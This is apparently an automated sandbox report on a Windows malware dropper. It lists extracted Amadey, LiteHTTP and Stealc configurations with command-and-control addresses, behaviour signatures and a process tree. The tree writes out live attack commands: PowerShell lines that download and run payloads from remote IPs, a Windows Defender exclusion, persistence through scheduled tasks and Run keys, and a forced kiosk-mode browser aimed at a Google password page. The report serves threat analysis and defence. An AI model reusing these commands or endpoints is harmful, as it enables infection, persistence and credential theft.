Overview

overview

10

Static

static

3

493778f32e...d7.exe

windows7-x64

10

493778f32e...d7.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    05/03/2025, 21:05

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    493778f32e0b4e44614735ae0468985b89262c2191534e20827a625667b12dd7.exe

  • Size

    1.8MB

  • MD5

    31f5bbdbf979f171bcb4ba9581504355

  • SHA1

    a74e587febc62bc033ff0e59a771bff64bdd73ae

  • SHA256

    493778f32e0b4e44614735ae0468985b89262c2191534e20827a625667b12dd7

  • SHA512

    fe6022d68846f1e62ca56ff3ac7c85dcf8071e07c1c0fd23c278005f353be4f5d75656ffebd93f1b5e56cb856f9d8dcd543e847f1e95beb512c359c5ff8606b0

  • SSDEEP

    24576:IH7wm+bqgLhZ59haS4CG6eIg47765Wbq1Sks7H3htoCfn0tscJ2JpypRRrQDjVCL:q7WH59h6b44AqMPxN/Ysc4vyFK

Score
10/10
amadeygcleanerhealerlitehttpstealc092155trumpbotdefense_evasiondiscoverydropperevasionexecutionloaderpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

litehttp

Version

v1.0.9

C2

http://185.208.156.162/page.php

Attributes
  • key

    v1d6kd29g85cm8jp4pv8tvflvg303gbl

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 2 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • LiteHTTP

    LiteHTTP is an open-source bot written in C#.

    stealerbotlitehttp
  • Litehttp family
    litehttp
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 16 IoCs
    defense_evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 21 IoCs
  • Checks BIOS information in registry 2 TTPs 32 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 33 IoCs
  • Identifies Wine through registry keys 2 TTPs 16 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 10 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 3 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 7 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 53 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of FindShellTrayWindow 21 IoCs
  • Suspicious use of SendNotifyMessage 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\493778f32e0b4e44614735ae0468985b89262c2191534e20827a625667b12dd7.exe
    "C:\Users\Admin\AppData\Local\Temp\493778f32e0b4e44614735ae0468985b89262c2191534e20827a625667b12dd7.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Downloads MZ/PE file
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Users\Admin\AppData\Local\Temp\10045640101\FvbuInU.exe
        "C:\Users\Admin\AppData\Local\Temp\10045640101\FvbuInU.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        PID:2904
      • C:\Users\Admin\AppData\Local\Temp\10052020101\z3SJkC5.exe
        "C:\Users\Admin\AppData\Local\Temp\10052020101\z3SJkC5.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1060
        • C:\Windows\TEMP\{1A55F796-1AA9-4822-9535-7D1084DE4E8C}\.cr\z3SJkC5.exe
          "C:\Windows\TEMP\{1A55F796-1AA9-4822-9535-7D1084DE4E8C}\.cr\z3SJkC5.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\10052020101\z3SJkC5.exe" -burn.filehandle.attached=216 -burn.filehandle.self=212
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2124
          • C:\Windows\TEMP\{C7532B66-E3A0-4A8E-ABC4-DA6AD968B6EC}\.ba\WiseTurbo.exe
            C:\Windows\TEMP\{C7532B66-E3A0-4A8E-ABC4-DA6AD968B6EC}\.ba\WiseTurbo.exe
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2988
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2124 -s 208
            5⤵
            • Loads dropped DLL
            • Program crash
            PID:1752
      • C:\Users\Admin\AppData\Local\Temp\10062780101\JqGBbm7.exe
        "C:\Users\Admin\AppData\Local\Temp\10062780101\JqGBbm7.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2276
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2276 -s 1216
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:2396
      • C:\Users\Admin\AppData\Local\Temp\10075800101\zY9sqWs.exe
        "C:\Users\Admin\AppData\Local\Temp\10075800101\zY9sqWs.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:1136
      • C:\Users\Admin\AppData\Local\Temp\10079230101\v6Oqdnc.exe
        "C:\Users\Admin\AppData\Local\Temp\10079230101\v6Oqdnc.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2044
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2044 -s 1200
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:2152
      • C:\Users\Admin\AppData\Local\Temp\10092140101\Ps7WqSx.exe
        "C:\Users\Admin\AppData\Local\Temp\10092140101\Ps7WqSx.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:908
      • C:\Users\Admin\AppData\Local\Temp\10097700101\amnew.exe
        "C:\Users\Admin\AppData\Local\Temp\10097700101\amnew.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:568
        • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
          "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Modifies system certificate store
          PID:2960
          • C:\Users\Admin\AppData\Local\Temp\10017650101\c13c5f2212.exe
            "C:\Users\Admin\AppData\Local\Temp\10017650101\c13c5f2212.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:2840
            • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
              "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1156
          • C:\Users\Admin\AppData\Local\Temp\10017660101\f0a3a5bc16.exe
            "C:\Users\Admin\AppData\Local\Temp\10017660101\f0a3a5bc16.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:2180
            • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
              "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3192
      • C:\Users\Admin\AppData\Local\Temp\10102370101\SvhQA35.exe
        "C:\Users\Admin\AppData\Local\Temp\10102370101\SvhQA35.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:328
        • C:\Users\Admin\AppData\Local\Temp\onefile_328_133856824294506000\chromium.exe
          C:\Users\Admin\AppData\Local\Temp\10102370101\SvhQA35.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2416
      • C:\Users\Admin\AppData\Local\Temp\10104900101\ce4pMzk.exe
        "C:\Users\Admin\AppData\Local\Temp\10104900101\ce4pMzk.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1580
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Local\Caches\KJt146e1\Anubis.exe""
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1264
      • C:\Users\Admin\AppData\Local\Temp\10106470101\zY9sqWs.exe
        "C:\Users\Admin\AppData\Local\Temp\10106470101\zY9sqWs.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2424
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2424 -s 1040
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:880
      • C:\Users\Admin\AppData\Local\Temp\10106670101\1cb6529ed2.exe
        "C:\Users\Admin\AppData\Local\Temp\10106670101\1cb6529ed2.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1088
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c schtasks /create /tn N5kFsmaqVJF /tr "mshta C:\Users\Admin\AppData\Local\Temp\uZOSAxLWc.hta" /sc minute /mo 25 /ru "Admin" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1764
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn N5kFsmaqVJF /tr "mshta C:\Users\Admin\AppData\Local\Temp\uZOSAxLWc.hta" /sc minute /mo 25 /ru "Admin" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:1528
        • C:\Windows\SysWOW64\mshta.exe
          mshta C:\Users\Admin\AppData\Local\Temp\uZOSAxLWc.hta
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          PID:1740
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'DUGLMZK5YKCRKXUXXOONKGK234CRZMW2.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Downloads MZ/PE file
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:864
            • C:\Users\Admin\AppData\Local\TempDUGLMZK5YKCRKXUXXOONKGK234CRZMW2.EXE
              "C:\Users\Admin\AppData\Local\TempDUGLMZK5YKCRKXUXXOONKGK234CRZMW2.EXE"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious behavior: EnumeratesProcesses
              PID:2544
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\10106680121\am_no.cmd" "
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2956
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 2
          4⤵
          • System Location Discovery: System Language Discovery
          • Delays execution with timeout.exe
          PID:1500
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:448
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3028
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2160
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2892
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:940
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2880
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "QBLUwmawSCN" /tr "mshta \"C:\Temp\8ywdiGceo.hta\"" /sc minute /mo 25 /ru "Admin" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:2848
        • C:\Windows\SysWOW64\mshta.exe
          mshta "C:\Temp\8ywdiGceo.hta"
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          PID:2384
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Downloads MZ/PE file
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2896
            • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
              "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious behavior: EnumeratesProcesses
              PID:2196
      • C:\Users\Admin\AppData\Local\Temp\10106720101\14ffe7acfb.exe
        "C:\Users\Admin\AppData\Local\Temp\10106720101\14ffe7acfb.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:1308
        • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
          "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
          4⤵
          • Downloads MZ/PE file
          • System Location Discovery: System Language Discovery
          PID:2368
      • C:\Users\Admin\AppData\Local\Temp\10106730101\53ccfc856e.exe
        "C:\Users\Admin\AppData\Local\Temp\10106730101\53ccfc856e.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:684
        • C:\Users\Admin\AppData\Local\Temp\10106730101\53ccfc856e.exe
          "C:\Users\Admin\AppData\Local\Temp\10106730101\53ccfc856e.exe"
          4⤵
          • Executes dropped EXE
          PID:1748
        • C:\Users\Admin\AppData\Local\Temp\10106730101\53ccfc856e.exe
          "C:\Users\Admin\AppData\Local\Temp\10106730101\53ccfc856e.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:344
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 344 -s 1020
            5⤵
            • Loads dropped DLL
            • Program crash
            PID:1896
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 684 -s 520
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:2200
      • C:\Users\Admin\AppData\Local\Temp\10106740101\174506e5c3.exe
        "C:\Users\Admin\AppData\Local\Temp\10106740101\174506e5c3.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2036
        • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
          "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
          4⤵
          • Downloads MZ/PE file
          • System Location Discovery: System Language Discovery
          PID:2456
      • C:\Users\Admin\AppData\Local\Temp\10106750101\aae0e996c8.exe
        "C:\Users\Admin\AppData\Local\Temp\10106750101\aae0e996c8.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        PID:1104
      • C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe
        "C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2524
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File "C:\Users\Admin\AppData\Roaming\installer.ps1"
          4⤵
            PID:556
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File "C:\Users\Admin\AppData\Roaming\installer.ps1"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1136
              • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fu4zuoxz.cmdline"
                6⤵
                  PID:3052
                  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC987.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC986.tmp"
                    7⤵
                      PID:1720
              • C:\Windows\system32\reg.exe
                reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "powershell -ExecutionPolicy Bypass -NoProfile -Command Invoke-WebRequest -Uri http://45.144.212.77:16000/client -OutFile C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\runps.exe; Start-Process C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\runps.exe" /f
                4⤵
                • Adds Run key to start application
                PID:2220
            • C:\Users\Admin\AppData\Local\Temp\10106780101\4c9b69a3cf.exe
              "C:\Users\Admin\AppData\Local\Temp\10106780101\4c9b69a3cf.exe"
              3⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2756
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2756 -s 1212
                4⤵
                • Program crash
                PID:2084
            • C:\Users\Admin\AppData\Local\Temp\10106790101\c82a626793.exe
              "C:\Users\Admin\AppData\Local\Temp\10106790101\c82a626793.exe"
              3⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:824
            • C:\Users\Admin\AppData\Local\Temp\10106800101\e5b5e17e1d.exe
              "C:\Users\Admin\AppData\Local\Temp\10106800101\e5b5e17e1d.exe"
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:1308
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM firefox.exe /T
                4⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1476
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM chrome.exe /T
                4⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2156
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM msedge.exe /T
                4⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2640
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM opera.exe /T
                4⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2896
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM brave.exe /T
                4⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2680
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                4⤵
                  PID:2796
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                    5⤵
                    • Checks processor information in registry
                    • Modifies registry class
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:2000
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2000.0.2039725708\1638582157" -parentBuildID 20221007134813 -prefsHandle 1236 -prefMapHandle 1228 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {baac818f-8a96-4f71-badd-fb5191c0bb61} 2000 "\\.\pipe\gecko-crash-server-pipe.2000" 1300 10ed6158 gpu
                      6⤵
                        PID:3056
                      • C:\Program Files\Mozilla Firefox\firefox.exe
